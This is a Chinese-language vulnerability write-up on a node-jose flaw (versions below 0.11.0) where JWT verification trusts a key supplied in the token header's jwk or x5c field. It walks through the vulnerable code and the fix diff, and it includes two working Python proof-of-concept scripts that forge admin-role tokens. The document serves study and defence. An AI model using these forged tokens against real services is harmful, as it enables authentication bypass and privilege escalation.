漏洞卡片#
node-jose 是 Node.js 中的一个有关 JOSE(JSON Object Signing and Encryption)的代码库。
JOSE 是一套密码学标准规范框架,它提供了一种轻量化的方式让使用 JSON 数据结构的数据能在网络上安全地传输。
影响版本:< 0.11.0
漏洞发现者:Fraser Winterborn
漏洞发现者没有针对该漏洞写专门的博客。
漏洞简述:客户端可通过 JWT Header 中的 jwk 或者 x5c 参数自行指定验签密钥,导致客户端可构造出合法 JWT。
该攻击手段可参考这篇文章。
CWE-347:Improper Verification of Cryptographic Signature(不当的密码学签名验证)
Base Score:7.5 HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
漏洞讲解#
建议先了解 JWT。
verify.js(文件路径:lib/jws/verify.js):
if (sig.header.jwk) {
algKey = JWK.asKey(sig.header.jwk);
} else if (sig.header.x5c) {
algKey = sig.header.x5c[0];
algKey = new Buffer(algKey, "base64");
// TODO: callback to validate chain
algKey = JWK.asKey(algKey, "pkix");
} else { // ← 正常逻辑被安排在了最后
algKey = Promise.resolve(assumedKey || keystore.get({
use: "sig",
alg: sig.header.alg,
kid: sig.header.kid
}));
}
[snip]
return algKey.then(function(k) {
if (!k) {
return Promise.reject(new Error("key does not match"));
}
sig.key = k;
return sig;
[snip]
p = p.then(function(sig) {
return sig.key.verify(sig.header.alg,
sig.content,
sig.signature);
});如果 JWT 中的 Header 部分存在:
jwk参数,或者x5c参数
则其值会充当后续验签算法所需要的密钥。
对这两个参数的介绍可参考文章。
这意味着攻击者可以(以 jwk 为例):
- 根据算法,本地生成密钥对(通过 Burp Suite 的 JWT Editor 插件或者 Python 脚本)
- 在 JWT Header 中提供
jwk参数并赋值 JWK 格式的公钥(刚刚生成的) - 修改 JWT Header 中的
kid参数为jwk中对应的kid - 修改 JWT(以达成某种目的,比如可将 Payload 中的
role声明的值改为admin) - 用配对私钥(刚刚生成的)进行签名,生成 Signature
- 发送合法 JWT
如果对此过程有疑惑,下面几篇文章也许能帮助到你:
针对 jwk 的利用,建议使用 Burp Suite,在这篇文章中详细展示了步骤,这里不再赘述。
当然也可以通过 Python 脚本来实现利用,Poc(假设目标采用 RS256 验签算法):
import json, uuid, datetime as dt
from jwcrypto import jwk
import jwt
from jwt.algorithms import RSAAlgorithm
key = jwk.JWK.generate(
kty='RSA',
size=2048,
alg='RS256',
use='sig',
kid=str(uuid.uuid4())
)
private_jwk = key.export(private_key=True, as_dict=True)
public_jwk = key.export(as_dict=True)
pri_key = RSAAlgorithm.from_jwk(private_jwk)
pub_key = RSAAlgorithm.from_jwk(public_jwk)
now = dt.datetime.now(dt.timezone.utc)
token = jwt.encode(
{"sub": "user-123", "role": 'admin', "exp": now + dt.timedelta(minutes=10)},
pri_key,
algorithm="RS256",
headers={"alg": "RS256", "kid": "yzwqhV6VJRHiQoXrxSlGWorFE7m6TjjZEp8Kyijxl9w","jwk": public_jwk}
)
print(token) # ← 合法 JWT上述 JWT 中的 Header 以及 Payload 中的内容均为示例,具体根据实际情况。
针对 x5c 的利用,推荐使用 Python 脚本,Poc(假设目标采用 RS256 验签算法):
import base64, hashlib, datetime as dt
import jwt
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
now = dt.datetime.now(dt.timezone.utc)
def name(cn):
return x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "CN"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Example Corp"),
x509.NameAttribute(NameOID.COMMON_NAME, cn),
])
def key_usage(sign_certs: bool):
return x509.KeyUsage(
digital_signature=not sign_certs, content_commitment=False,
key_encipherment=False, data_encipherment=False, key_agreement=False,
key_cert_sign=sign_certs, crl_sign=sign_certs,
encipher_only=False, decipher_only=False,
)
# --- Root CA ---
ca_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
ca_cert = (
x509.CertificateBuilder()
.subject_name(name("Demo Root CA"))
.issuer_name(name("Demo Root CA"))
.public_key(ca_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now)
.not_valid_after(now + dt.timedelta(days=3650))
.add_extension(x509.BasicConstraints(ca=True, path_length=0), critical=True)
.add_extension(key_usage(sign_certs=True), critical=True)
.sign(ca_key, hashes.SHA256())
)
# --- JWT 签名用的 leaf 证书:公钥就放在这里 ---
signing_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
leaf_cert = (
x509.CertificateBuilder()
.subject_name(name("jwt-signer"))
.issuer_name(ca_cert.subject)
.public_key(signing_key.public_key()) # ← 公钥信息写入证书
.serial_number(x509.random_serial_number())
.not_valid_before(now)
.not_valid_after(now + dt.timedelta(days=365))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
.add_extension(key_usage(sign_certs=False), critical=True)
.sign(ca_key, hashes.SHA256()) # 由 CA 签发
)
def der_b64(cert):
return base64.b64encode(cert.public_bytes(serialization.Encoding.DER)).decode()
leaf_der = leaf_cert.public_bytes(serialization.Encoding.DER)
x5c = [der_b64(leaf_cert), der_b64(ca_cert)] # leaf 在前,CA 在后
token = jwt.encode(
{"sub": "user-123", "role": 'admin', "exp": now + dt.timedelta(minutes=10)},
signing_key,
algorithm="RS256",
headers={"alg": "RS256", "kid": "yzwqhV6VJRHiQoXrxSlGWorFE7m6TjjZEp8Kyijxl9w", "x5c": x5c}
)
print(token)Poc 中,对证书链我添加了额外的一张由 Root CA 签发的证书(用于验证 Leaf),这仅仅只是为了 Python 实现上的方便,按 node-jose 源码,它并不会查看除 Leaf 外的第二张证书。
Diff#
关键 diff:
- if (sig.header.jwk) {
+ if (opts.allowEmbeddedKey && sig.header.jwk) {
algKey = JWK.asKey(sig.header.jwk);
- } else if (sig.header.x5c) {
+ } else if (opts.allowEmbeddedKey && sig.header.x5c) {在判断中引入了变量 opts.allowEmbeddedKey,该变量的默认值为 False,这意味着默认不会参考客户端在 JWT Header 中提供的 jwk 以及 x5c 参数。
除非开发者自行修改 opts.allowEmbeddedKey,比如设置了“在某场景中会参考 JWT Header 中提供的 jwk 以及 x5c 参数”,代码是否安全都取决于开发者自己的实现逻辑了。
推测安全研究员的发现经过#
JWT 本身就应该给予高度关注。
CheckLists#
代码库。
练习#
PentesterLab 上对应的练习题。